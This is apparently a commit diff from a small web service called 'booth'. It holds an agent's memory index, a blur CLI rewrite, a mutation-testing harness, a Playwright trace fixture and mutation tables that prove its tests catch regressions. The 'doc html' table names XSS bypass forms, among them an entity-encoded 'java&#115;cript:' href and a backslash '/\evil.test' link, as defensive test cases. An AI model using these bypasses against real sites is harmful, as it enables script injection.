- `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md`
- `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md`
- `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
- `[2026-09-22]` ⚠ **A mutation harness certified a broken test, twice, for two reasons** — no green baseline, and the pyc cache silently reverting same-size mutations; READ BEFORE WRITING ONE → `persistent-memory.d/2026-09-22-a-mutation-harness-that-certified-a-broken-test.md`
- `[2026-09-22]` 🛑 **STANDING: no announcements out of this repo until the arc is done, and he sends that one himself** — verbatim *"no announcements until the entire arc is done, and even then i'll do it myself."* Stricter than the house broadcast gate: the send is not the agent's to make, so **asking is also out of scope**. The drafted 17-handle note is REASSIGNED to him, not blocked — see the in-flight row above; do not raise it again.
@@ -132,6 +173,9 @@ _As of 2026-09-22:_
## Tried and abandoned
- `[2026-09-24]` **The blur writer building on the renderer's lenient reader** — an unreadable file read as empty was then overwritten; the 09-21 marks lesson below, repeated in a new module and live one night. Fixed in `8a78a9b`.
- `[2026-09-23]` **Writing a new format into the old file name and sniffing it** — a legacy line naming `["a.png"]` parses as JSON and blurs the neighbour (heid 3/3). A format change gets a new name (`c1f5543`).
- `[2026-09-23]` **Verifying the live service by GETting every booth page** — each GET records a look. It emptied "new since you looked" and scrambled the Desk. Check pages on a copy.
- `[2026-09-21]` **Tagging a release while a review gate was in flight** — cost a same-hour v0.2.1 and a correction to 15 handles → `persistent-memory.d/2026-09-21-tagging-with-a-gate-in-flight.md`
- `[2026-09-21]` **Letting the write path share the read path's leniency** — a tolerant reader and a tolerant writer are not the same decision → `persistent-memory.d/2026-09-21-tolerant-writer-over-tolerant-reader.md`
- `[2026-09-21]` **Letting Jinja hot-reload templates in the deployment root** — caused a live outage: 19 of 25 booths at 500. Why auto_reload=False → `persistent-memory.d/2026-09-21-jinja-hot-reload-outage.md`
+1
View File
@@ -9,6 +9,7 @@ dependencies = [
"jinja2>=3.1",
"python-multipart>=0.0.9",
"markdown>=3.5",
"pillow>=10.0",
]
[project.optional-dependencies]
+62 -17
View File
@@ -144,7 +144,6 @@ set -euo pipefail
DATA="${BOOTH_DATA_DIR:-$HOME/booth-data}"
URL="${BOOTH_URL:-http://10.100.10.50:8090}"
KEEP=".forever" # must match KEEP_MARKER in booth/app.py
BLUR=".blurred" # one booth-relative item path per line; see `blur` below
LINKS_BOARD="${BOOTH_LINKS_BOARD:-links}"
# `--why` / `--title` for `new` and `add`. Pulled out of "$@" wherever they
@@ -240,7 +239,7 @@ sys.stdout.write("N" if name is None else "B:" + name)
}
usage() {
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> <file>...|unblur <name> <file>...|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>|bench add <url> <name>|bench ls|bench state <id|url> <live|promoted|retired>|bench rm <id|url>|bench import [--apply <id>...]}" >&2
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> [<file>...]|unblur <name> [<file>...]|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>|bench add <url> <name>|bench ls|bench state <id|url> <live|promoted|retired>|bench rm <id|url>|bench import [--apply <id>...]}" >&2
exit 2
}
@@ -303,27 +302,73 @@ case "$cmd" in
# screen-share, a scroll past something you did not want full-size. The
# Booth has no auth by design: if a thing must not be SEEN, it must not be
# in a booth.
[ $# -ge 2 ] || usage
[ $# -ge 1 ] || usage
b="$1"; shift
[ -d "$DATA/$b" ] || { echo "no such booth: $b" >&2; exit 1; }
f="$DATA/$b/$BLUR"
for item in "$@"; do
item="${item#"$DATA/$b/"}"; item="${item#/}"
case "$item" in
*..*) echo "refusing path with '..': $item" >&2; exit 2 ;;
esac
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
touch "$f"
# NO FILES NAMED = THE WHOLE BOOTH. The Desk shows up to four images from
# every booth on the page the operator opens first, so a booth that should
# not be glanced at needs to say so as a BOOTH, not item by item — and the
# session that posts it is the one that knows.
#
# A marker, and it COMPOSES with the per-item list rather than replacing
# it: `unblur <name>` clears the booth flag and leaves individual choices
# exactly as they were.
if [ $# -eq 0 ]; then
if [ "$cmd" = blur ]; then
grep -qxF -- "$item" "$f" || printf '%s\n' "$item" >> "$f"
touch "$DATA/$b/.blurbooth"
echo "whole booth blurred (cosmetic — still served): $URL/b/$b/"
else
grep -vxF -- "$item" "$f" > "$f.tmp" || true
mv -- "$f.tmp" "$f"
rm -f -- "$DATA/$b/.blurbooth"
echo "whole booth un-blurred (per-item blur kept): $URL/b/$b/"
fi
exit 0
fi
# Items are made booth-relative here; WHETHER each one is an item path is
# booth.blur.check_rel's call, the same predicate the web route uses, so
# `booth blur g a..b.png` and the operator's click agree. (A `*..*`
# substring test here refused `a..b.png`, which the route accepted.)
items=()
for item in "$@"; do
item="${item#"$DATA/$b/"}"
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
items+=("$item")
done
# An empty marker is a lie by omission — `ls -a` should say whether
# anything here is blurred at all.
[ -s "$f" ] || rm -f -- "$f"
# ONE WRITER. `.blurred.json` is a JSON array (a rel may carry a leading
# space or a newline, which the old `.blurred` line format could not
# round-trip), and the service writes it too, so the CLI goes through the
# same stdlib-only booth.blur, never a grep/printf of its own. Items travel
# as argv, which carries any byte but NUL. EVERY item is checked before ANY
# is written, so a refused path leaves the blur set exactly as it was.
# Exit 2: an item path refused. Exit 3: nothing written, and why (the
# package is missing, or something that is not a file is in the way).
BOOTH_SRC="$(booth_src)" BOOTH_DIR="$DATA/$b" python3 -c '
import os, sys
from pathlib import Path
sys.path.insert(0, os.environ["BOOTH_SRC"])
try:
from booth.blur import BlurUnwritable, check_rel, set_blurred # stdlib only
except ImportError as exc:
src = os.environ["BOOTH_SRC"]
sys.stderr.write(f"booth blur: cannot load booth.blur from {src} ({exc}).\n"
" Run the booth script from its checkout, beside its booth/ package. Nothing was changed.\n")
sys.exit(3)
on = sys.argv[1] == "blur"
rels = [r.lstrip("/") for r in sys.argv[2:]]
for rel in rels:
try:
check_rel(rel)
except ValueError as exc:
sys.stderr.write(f"booth blur: refusing {rel!r}: {exc}. Nothing was changed.\n")
sys.exit(2)
for rel in rels:
try:
set_blurred(Path(os.environ["BOOTH_DIR"]), rel, on)
except BlurUnwritable as exc:
sys.stderr.write(f"booth blur: {exc}\n")
sys.exit(3)
' "$cmd" "${items[@]}"
if [ "$cmd" = blur ]; then
echo "blurred (cosmetic — still served): $URL/b/$b/"
else
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env python3
"""Prove a falsifier falsifies, by running the change it forbids.
A green test is not evidence. A test that has never seen its own DEFEATING
CHANGE is only evidence that the code and the assertion agree today; it may
agree under the mutation too, in which case it forbids nothing and reads as
though it forbids something. This repo has shipped that three times --
persistent-memory.d/2026-09-22-vacuous-falsifiers.md,
persistent-memory.d/2026-09-22-seven-of-seven-falsifiers.md, and once more in
U7 an hour after the second was written.
So: for each declared mutation, apply it to the source, run the one test that
claims to catch it, and require RED. Revert either way.
.venv/bin/python scripts/mutation_check.py # every table
.venv/bin/python scripts/mutation_check.py u7_navigation # one table
Tables live in tests/mutations/*.toml and are committed, so a unit's proofs are
an artifact rather than terminal scrollback. Adding a unit means adding a file,
never editing this script.
⚠ TWO DEFECTS THIS TOOL HAD, both of which made it CERTIFY A FALSIFIER WITHOUT
RUNNING IT. Neither is obvious and both cost real time:
1. NO GREEN BASELINE. A test that is ALREADY red reports red for every mutation
thrown at it, so a broken assertion reads as a proven falsifier. Every run
now checks the test passes unmutated first; a red baseline is a harness
failure, reported as such, never as a proof.
2. THE BYTECODE CACHE. `< 2` -> `< 1` is BYTE-IDENTICAL IN SIZE, and CPython
validates a .pyc against the source's (mtime, size) at ONE-SECOND
granularity -- so a mutation landing in the same second as the revert before
it is invisible and the unmutated code runs. The tell was a verdict that
flipped between consecutive runs with nothing changed. Caches are dropped
and PYTHONDONTWRITEBYTECODE is set for every run. This biases toward exactly
the mutations most worth making: comparison flips, off-by-one constants,
and/or swaps.
"""
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import tomllib
from pathlib import Path
REPO = Path(__file__).resolve().parent.parent
TABLES = REPO / "tests" / "mutations"
# Written before a source file is touched and removed after it is restored. Its
# presence at startup means a previous run died between the two -- a `kill -9`
# mid-mutation leaves a mutated tracked file that looks like authored code.
INFLIGHT = REPO / ".mutation-inflight"
def run(test: str, repo: Path = REPO) -> int:
"""Exit code of one test, with the bytecode cache defeated. See defect 2."""
for cache in repo.rglob("__pycache__"):
shutil.rmtree(cache, ignore_errors=True)
return subprocess.run(
[sys.executable, "-m", "pytest", test, "-q", "--no-header", "-p", "no:warnings"],
cwd=repo, capture_output=True, text=True,
env=dict(os.environ, PYTHONDONTWRITEBYTECODE="1"),
).returncode
def check(mutation: dict, repo: Path = REPO) -> tuple[bool, str]:
"""(proved, note) for one mutation. Never leaves the source mutated.
`repo` is a parameter so the harness can be pointed at a throwaway tree and
given KNOWN-vacuous and KNOWN-good falsifiers — see
tests/test_mutation_check.py. An instrument that only ever sees unknowns
cannot tell "nothing wrong here" from "I am blind", which is the whole of
CLAUDE.md's positive-control rule applied to the tool that enforces it."""
test = mutation["test"]
path = repo / mutation["file"]
if run(test, repo) != 0:
return False, f"BASELINE RED — {test} fails BEFORE the mutation"
src = path.read_text()
if mutation["old"] not in src:
return False, f"anchor not found in {mutation['file']} — the table has drifted"
INFLIGHT.write_text(f"{path}\n")
stat = path.stat() # mtime included; see the restore below
try:
path.write_text(src.replace(mutation["old"], mutation["new"], 1))
red = run(test, repo) != 0
finally:
path.write_text(src)
# Verified, not assumed: a restore that silently failed would leave a
# mutation in a tracked file and the next run would measure it.
assert path.read_text() == src, f"RESTORE FAILED for {path} — fix by hand"
# ⚠ AND THE MTIME, which matters more here than it would elsewhere.
# This repo IS its own deployment root and nothing takes effect until
# the service restarts, so "is :8090 stale?" is answered by comparing
# the service's start time against source mtimes. A tool that churns
# those mtimes without changing a byte makes that check lie — it
# reported the live service 16 minutes stale when it was current.
os.utime(path, ns=(stat.st_atime_ns, stat.st_mtime_ns))
INFLIGHT.unlink(missing_ok=True)
return red, "" if red else "VACUOUS — stayed green under the change it forbids"
def main(argv: list[str]) -> int:
if INFLIGHT.exists():
print(f"refusing to run: {INFLIGHT} exists, so a previous run died mid-mutation.")
print(f"check `git diff {INFLIGHT.read_text().strip()}`, restore it, then delete the marker.")
return 2
wanted = argv[1:] or None
tables = sorted(TABLES.glob("*.toml"))
if wanted:
tables = [t for t in tables if t.stem in wanted]
if not tables:
print(f"no table matching {wanted} in {TABLES}")
return 2
failed = []
for table in tables:
doc = tomllib.loads(table.read_text())
print(f"\n### {table.stem} — {doc.get('unit', '')}")
for m in doc.get("mutation", []):
proved, note = check(m)
print(f"{' proved' if proved else ' NOT PROVED':14s} {m['label']}")
if not proved:
print(f"{'':14s} ^ {note}")
failed.append(m["label"])
total = sum(len(tomllib.loads(t.read_text()).get("mutation", [])) for t in tables)
print(f"\n{total - len(failed)}/{total} falsifiers proved by running the change they forbid")
return 1 if failed else 0
if __name__ == "__main__":
raise SystemExit(main(sys.argv))
+135
View File
@@ -0,0 +1,135 @@
"""Browser-test failure artefacts: a Playwright trace kept for every browser
test that FAILS, captured from the run that failed.
Why this exists: the browser tests flake under FULL-SUITE load only — three
different tests have each failed once, every one passes in isolation, and a
narrowed repro that passes is the trap (operator, 2026-09-23: "let him diagnose
it properly"). Pass/fail counts cannot say why; a trace — screenshots, DOM
snapshots, console and network per action — can.
OPT-IN, because tracing is not free and the harness is part of the number:
with it on, every page does more work, so the suite's timing (the very thing
under suspicion) moves. Default runs are untouched.
BOOTH_TRACE=1 .venv/bin/python -m pytest -q # screenshots + DOM snapshots
BOOTH_TRACE=light .venv/bin/python -m pytest -q # actions + network only
LIGHT exists because the full mode perturbs the thing it watches: 8 traced
full-suite runs went 8/8 green while untraced runs on the same tree went red.
Network and action records are nearly free, and a goto that never reaches
"networkidle" is answered by the network record alone — which request never
finished.
Traces land in $BOOTH_TRACE_DIR (default: <tmp>/booth-test-traces/<run>/),
named after the test; open one with `playwright show-trace <file>`. The
terminal summary lists every trace kept.
"""
from __future__ import annotations
import os
import shutil
import tempfile
import time
from pathlib import Path
import pytest
TRACE_MODE = os.environ.get("BOOTH_TRACE", "")
TRACE = TRACE_MODE in ("1", "light")
_KEPT: list[Path] = []
@pytest.hookimpl(hookwrapper=True)
def pytest_runtest_makereport(item, call):
outcome = yield
rep = outcome.get_result()
setattr(item, "rep_" + rep.when, rep)
def _trace_dir() -> Path:
root = os.environ.get("BOOTH_TRACE_DIR") or os.path.join(tempfile.gettempdir(), "booth-test-traces")
d = Path(root) / time.strftime("%Y%m%d-%H%M%S", time.localtime(_RUN_STARTED))
d.mkdir(parents=True, exist_ok=True)
return d
_RUN_STARTED = time.time()
@pytest.fixture(autouse=True)
def _trace_browser_tests(request):
"""Wrap the module's `browser` so every context it opens is traced.
A test usually closes its page BEFORE asserting (it collects, closes, then
checks), and a closed context can no longer write its trace — so each
context's trace is written at close time, to a scratch file, and only moved
to the kept set if the test then fails. A page from `browser.new_page` owns
its context, as Playwright's own does: closing the page closes it."""
if not TRACE or "browser" not in request.fixturenames:
yield
return
browser = request.getfixturevalue("browser")
scratch = Path(tempfile.mkdtemp(prefix="booth-trace-"))
written: list[Path] = []
opened: list = []
real_new_context = browser.new_context
def stop(ctx, n=[0]):
if getattr(ctx, "_booth_traced", False):
ctx._booth_traced = False
n[0] += 1
path = scratch / f"{n[0]}.zip"
try:
ctx.tracing.stop(path=str(path))
written.append(path)
except Exception: # noqa: BLE001 - a lost trace must not fail the test
pass
def new_context(*args, **kwargs):
ctx = real_new_context(*args, **kwargs)
heavy = TRACE_MODE == "1"
ctx.tracing.start(screenshots=heavy, snapshots=heavy)
ctx._booth_traced = True
real_close = ctx.close
def close(*a, **k):
stop(ctx)
return real_close(*a, **k)
ctx.close = close
opened.append(ctx)
return ctx
def new_page(*args, **kwargs):
ctx = new_context(*args, **kwargs)
page = ctx.new_page()
page.close = lambda *a, **k: ctx.close()
return page
browser.new_context, browser.new_page = new_context, new_page
try:
yield
finally:
del browser.new_context, browser.new_page
for ctx in opened:
stop(ctx)
try:
ctx.close()
except Exception: # noqa: BLE001
pass
rep = getattr(request.node, "rep_call", None)
if rep is not None and rep.failed and written:
dest = _trace_dir()
for i, path in enumerate(written, 1):
kept = dest / f"{request.node.name}-{i}.zip"
shutil.move(str(path), kept)
_KEPT.append(kept)
shutil.rmtree(scratch, ignore_errors=True)
def pytest_terminal_summary(terminalreporter):
if _KEPT:
terminalreporter.section("browser traces kept for failed tests")
for p in _KEPT:
terminalreporter.write_line(str(p))
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+260
View File
@@ -0,0 +1,260 @@
# Per-item blur storage: `.blurred` round-trips any rel, whoever writes it.
# The fix for the wrong-item write the heid bug-hunt found through r2b merge 1
# (a stripped rel blurred its neighbour), operator-ruled 2026-09-23. Every row
# is a change tests/test_blur.py claims to forbid.
#
# NOT here, on purpose: the S_ISREG guard in read_blurred. With O_NONBLOCK a
# FIFO opens and reads as EOF, a symlink is already refused by O_NOFOLLOW, and a
# device node needs root to plant, so no test here can see that guard go. It
# stays as the `.seen` shape, and it is not claimed as a proven falsifier.
unit = "blur storage round-trip"
[[mutation]]
label = "the writer strips the rel (the old line format's loss)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_leading_space_rel_round_trips"
old = '''
current.add(rel)'''
new = '''
current.add(rel.strip())'''
[[mutation]]
label = "the route strips `f` before writing (the reported wrong-item write)"
file = "booth/app.py"
test = "tests/test_blur.py::test_the_blur_route_blurs_exactly_the_item_it_names"
old = '''
rel = f.lstrip("/")'''
new = '''
rel = f.strip().lstrip("/")'''
[[mutation]]
label = "a JSON-only reader: every live line-format file un-blurs on deploy"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_legacy_line_format_still_reads"
old = '''
return {ln.strip() for ln in text.splitlines() if ln.strip()}'''
new = '''
return set()'''
[[mutation]]
label = "a legacy file that is not JSON reads as nothing instead of falling back"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_legacy_rel_that_starts_with_a_bracket_still_reads"
old = '''
if path is legacy:
return {ln.strip()'''
new = '''
if path is legacy:
try:
json.loads(text)
except ValueError:
return set()
return {ln.strip()'''
[[mutation]]
label = "a FIFO blocks the read (no O_NONBLOCK)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_raw_read_never_blocks_on_a_fifo"
old = '''
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
new = '''
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW)'''
[[mutation]]
label = "the read follows a planted symlink (no O_NOFOLLOW)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_raw_read_never_follows_a_link"
old = '''
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
new = '''
fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK)'''
[[mutation]]
label = "the write goes through a planted symlink instead of replacing it"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
old = '''
os.replace(tmp, path)'''
new = '''
path.write_bytes(Path(tmp).read_bytes()); os.unlink(tmp)'''
[[mutation]]
label = "the stored order is not the stated one (invariant 6)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_file_is_a_json_array_in_sorted_order"
old = '''
body = json.dumps(sorted(current), ensure_ascii=False)'''
new = '''
body = json.dumps(sorted(current, reverse=True), ensure_ascii=False)'''
[[mutation]]
label = "the CLI ignores the verb: `unblur` blurs"
file = "scripts/booth"
test = "tests/test_blur.py::test_the_cli_writes_the_format_the_service_reads"
old = '''
on = sys.argv[1] == "blur"'''
new = '''
on = True'''
[[mutation]]
label = "the CLI writes past a refused '..' path (the shared predicate loses its component check)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_cli_still_refuses_a_dotdot_path"
old = '''
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
new = '''
if not rel or rel.startswith("/"):'''
[[mutation]]
label = "the item's own blur is the composed one (booth fog leaks into it)"
file = "booth/items.py"
test = "tests/test_blur.py::test_the_item_record_carries_its_own_blur_apart_from_the_booths"
old = '''
blurred_self=rel in blurred,'''
new = '''
blurred_self=rel in blurred or booth_blur,'''
[[mutation]]
label = "app.py reads the blur file a second time (invariant 3)"
file = "booth/app.py"
test = "tests/test_blur.py::test_app_py_never_reads_the_blur_file_itself"
old = '''
out = []
for it in booth_items(child):'''
new = '''
out = []
read_blurred(child)
for it in booth_items(child):'''
# ---- the heid bug-hunt on this change (hulda, regin, kimi), folded -------------
[[mutation]]
label = "the legacy file is sniffed for JSON again (a `[\"a.png\"]` line blurs the neighbour)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_legacy_line_that_is_valid_json_still_reads_as_a_line"
old = '''
if path is legacy:
return {ln.strip()'''
new = '''
if path is legacy:
try:
d = json.loads(text)
if isinstance(d, list):
return {r for r in d if isinstance(r, str)}
except ValueError:
pass
return {ln.strip()'''
[[mutation]]
label = "no postcondition: a planted directory's OSError is swallowed as success"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash"
old = '''
if read_blurred(booth) != current:'''
new = '''
if False:'''
[[mutation]]
label = "the route turns a disk-state refusal into a 500"
file = "booth/app.py"
test = "tests/test_blur.py::test_the_route_answers_a_planted_directory_with_409"
old = '''
raise HTTPException(status_code=409, detail=str(exc))'''
new = '''
raise'''
[[mutation]]
label = "a lone surrogate from a planted file reaches the writer"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work"
old = '''
return {r for r in data if isinstance(r, str) and r and _encodable(r)}'''
new = '''
return {r for r in data if isinstance(r, str) and r}'''
[[mutation]]
label = "the writer writes a set the reader would refuse and read as nothing"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_writer_never_writes_a_set_the_reader_would_refuse"
old = '''
if len(body) > BLUR_MAX_BYTES:'''
new = '''
if False:'''
[[mutation]]
label = "an empty item path is accepted and stored"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_cli_refuses_an_empty_item_path_before_writing"
old = '''
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
new = '''
if rel.startswith("/") or ".." in rel.split("/"):'''
[[mutation]]
label = "a double dot INSIDE a name is refused (the old `*..*` substring rule)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_cli_accepts_a_double_dot_inside_a_name"
old = '''
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
new = '''
if not rel or rel.startswith("/") or ".." in rel:'''
[[mutation]]
label = "the CLI dies with a traceback when its package is missing"
file = "scripts/booth"
test = "tests/test_blur.py::test_the_cli_fails_closed_without_its_package"
old = '''
except ImportError as exc:
src = os.environ["BOOTH_SRC"]'''
new = '''
except ZeroDivisionError as exc:
src = os.environ["BOOTH_SRC"]'''
# ---- reads lenient, writes strict (groa's retry; the .marks.json lesson) -------
[[mutation]]
label = "the writer builds on the lenient reader (an unreadable set is overwritten)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_an_unreadable_blur_file_is_never_overwritten"
old = '''
current = _load(booth)'''
new = '''
current = read_blurred(booth)'''
[[mutation]]
label = "an unreadable or oversized regular file reads as empty for the writer"
file = "booth/blur.py"
test = "tests/test_blur.py::test_an_oversized_blur_file_is_never_overwritten"
old = '''
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")'''
new = '''
return set()'''
[[mutation]]
label = "a malformed set reads as empty for the writer"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_malformed_blur_file_is_never_overwritten"
old = '''
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc'''
new = '''
return set()'''
[[mutation]]
label = "the set is written 0600 (mkstemp's default)"
file = "booth/blur.py"
test = "tests/test_blur.py::test_the_blur_file_is_world_readable_as_it_always_was"
old = '''
os.fchmod(fd, 0o644)'''
new = '''
pass'''
[[mutation]]
label = "a link or a FIFO at the name blocks the writer instead of reading as no set"
file = "booth/blur.py"
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
old = '''
if not stat.S_ISREG(st.st_mode):
return set()'''
new = '''
pass'''
+93
View File
@@ -0,0 +1,93 @@
# A posted doc cannot run code (2026-09-28). design-dev's impeccable run found
# raw HTML passing through Python-Markdown into a `|safe` render; operator
# ruling: ESCAPE it. Found while fixing it: markdown link hrefs, where an
# entity-encoded `java&#115;cript:` passes any scheme test that does not decode
# it first. Every row is a change tests/test_items.py claims to forbid.
#
# NOT here, on purpose: the tab/CR/LF drop and the C0 trim in `_browser_href`.
# Python 3.13's urlsplit, under `is_safe_href`, drops the same characters, so no
# test can see them go. They stay as a statement of browser semantics, and are
# not claimed as proven falsifiers.
unit = "doc html"
[[mutation]]
label = "block-level raw HTML passes through (a <script> block runs)"
file = "booth/items.py"
test = "tests/test_items.py::test_raw_html_in_a_doc_is_text_never_markup"
old = '''
md.preprocessors.deregister("html_block")'''
new = ''''''
[[mutation]]
label = "inline raw HTML passes through (an <img onerror> runs)"
file = "booth/items.py"
test = "tests/test_items.py::test_raw_html_in_a_doc_is_text_never_markup"
old = '''
md.inlinePatterns.deregister("html")'''
new = ''''''
[[mutation]]
label = "no href guard at all (javascript: links stay clickable)"
file = "booth/items.py"
test = "tests/test_items.py::test_a_link_that_would_run_code_keeps_its_text_and_loses_its_href"
old = '''
md.treeprocessors.register(_UnsafeHrefs(md), "booth_unsafe_hrefs", -10)'''
new = ''''''
[[mutation]]
label = "the href guard runs before markdown has written any link"
file = "booth/items.py"
test = "tests/test_items.py::test_a_link_that_would_run_code_keeps_its_text_and_loses_its_href"
old = '''
md.treeprocessors.register(_UnsafeHrefs(md), "booth_unsafe_hrefs", -10)'''
new = '''
md.treeprocessors.register(_UnsafeHrefs(md), "booth_unsafe_hrefs", 30)'''
[[mutation]]
label = "the scheme test reads the raw attribute (java&#115;cript: passes)"
file = "booth/items.py"
test = "tests/test_items.py::test_a_link_that_would_run_code_keeps_its_text_and_loses_its_href"
old = '''
return _html.unescape(s).translate(_URL_DROPPED).strip(_URL_TRIMMED)'''
new = '''
return s.translate(_URL_DROPPED).strip(_URL_TRIMMED)'''
[[mutation]]
label = "the guard drops every href, ordinary links included"
file = "booth/items.py"
test = "tests/test_items.py::test_ordinary_links_survive"
old = '''
if href is not None and not is_safe_href(_browser_href(href)):'''
new = '''
if href is not None:'''
[[mutation]]
label = "a backslash is not read as a slash (/\\evil.test passes as a relative path) — docs"
file = "booth/links.py"
test = "tests/test_items.py::test_a_link_that_leaves_the_origin_by_backslash_is_refused"
old = '''
parts = urlsplit((url or "").strip().replace("\\", "/"))'''
new = '''
parts = urlsplit((url or "").strip())'''
[[mutation]]
label = "a backslash is not read as a slash — the board"
file = "booth/links.py"
test = "tests/test_booth.py::test_the_link_board_refuses_the_backslash_twin_of_protocol_relative"
old = '''
parts = urlsplit((url or "").strip().replace("\\", "/"))'''
new = '''
parts = urlsplit((url or "").strip())'''
[[mutation]]
label = "the render is unbounded (a renderer failure raises out of the page)"
file = "booth/items.py"
test = "tests/test_items.py::test_a_renderer_failure_costs_the_doc_its_formatting_never_the_page"
old = '''
try:
return _markdown_renderer().convert(text), True
except Exception: # noqa: BLE001 - deliberate
return text, False'''
new = '''
return _markdown_renderer().convert(text), True'''
+224
View File
@@ -0,0 +1,224 @@
# R2 — the review flow: falsifiers the round claims, and the change each forbids.
#
# Every row was proved RED under its mutation in the session that wrote it,
# then committed here so the proof is an artifact rather than scrollback. The
# browser rows need the Playwright Chromium the browser tests already use.
#
# Deliberately ABSENT: single guards inside a defence in depth, each of which
# stays green when removed alone because another layer still holds — so a row
# for any one of them would be a vacuous proof, and this table's own first run
# said so. `.seen`'s O_NOFOLLOW, O_NONBLOCK and S_ISREG (the FIFO/symlink test
# covers them together); and `flagged_targets`' `error is None`, since
# hydration already strips the target from a damaged mark.
#
# RETIRED (r2c S3, 2026-09-23): the row on the next arrow's 360px rail offset —
# the arrows now sit at the drawn picture, clamped inside the stage; the test was
# replaced as declared in r2c's contract, and its successors are in r2c.toml.
#
# RETIRED (r2b D1, 2026-09-23): four rows proving the facts-line row controls
# (visible at rest, compact, on the facts line) — the operator ruled those
# controls hover-revealed over the preview strip, and their tests were replaced
# as declared in r2b's contract. Their successors are in r2b.toml.
#
# The serialization row is only a falsifier because its test HOLDS the first
# refresh in the client: localhost alone never lost the race, and the first
# draft of that test stayed green with serialization deleted.
unit = "the Desk, the lightbox, the review, and the in-place client"
[[mutation]]
label = 'C1 ordinals count from 0, not 1'
file = "booth/items.py"
test = "tests/test_flow.py::test_a_filtered_tile_keeps_its_number_in_the_whole_set"
old = '''ordinal=len(items) + 1,'''
new = '''ordinal=len(items),'''
[[mutation]]
label = 'C2 .seen: a nested-too-deep marker escapes the never-raises read'
file = "booth/items.py"
test = "tests/test_flow.py::test_a_deeply_nested_seen_marker_reads_as_nothing_seen"
old = '''except (UnicodeDecodeError, ValueError, RecursionError):'''
new = '''except (UnicodeDecodeError, ValueError):'''
[[mutation]]
label = 'C3 a non-finite q is accepted as a q-value'
file = "booth/app.py"
test = "tests/test_flow.py::test_a_non_finite_q_is_malformed"
old = ''' raise ValueError("non-finite q")'''
new = ''' pass'''
[[mutation]]
label = 'C3 204 on an explicit JSON Accept becomes the 303'
file = "booth/app.py"
test = "tests/test_flow.py::test_an_explicit_json_accept_gets_204_and_the_write_still_lands"
old = ''' return Response(status_code=204)'''
new = ''' pass'''
[[mutation]]
label = 'C3 back=view lands on the review for a doc too (ring check dropped)'
file = "booth/app.py"
test = "tests/test_flow.py::test_back_view_lands_on_the_review_only_for_a_media_item"
old = ''' if f in ring:'''
new = ''' if True:'''
[[mutation]]
label = 'C4 the Desk counts orphan flags'
file = "booth/app.py"
test = "tests/test_flow.py::test_a_flag_on_a_file_that_is_gone_stays_visible_and_withdrawable"
old = '''"flags": len(flagged_targets(marks) & {it.rel for it in items}),'''
new = '''"flags": len(flagged_targets(marks)),'''
[[mutation]]
label = 'C4 landed_at follows symlinks'
file = "booth/app.py"
test = "tests/test_flow.py::test_the_content_clock_reads_the_booth_not_what_its_links_point_at"
old = ''' st = p.lstat()'''
new = ''' st = p.stat()'''
[[mutation]]
label = 'C4 one unreadable entry reads the whole booth as landed NOW'
file = "booth/app.py"
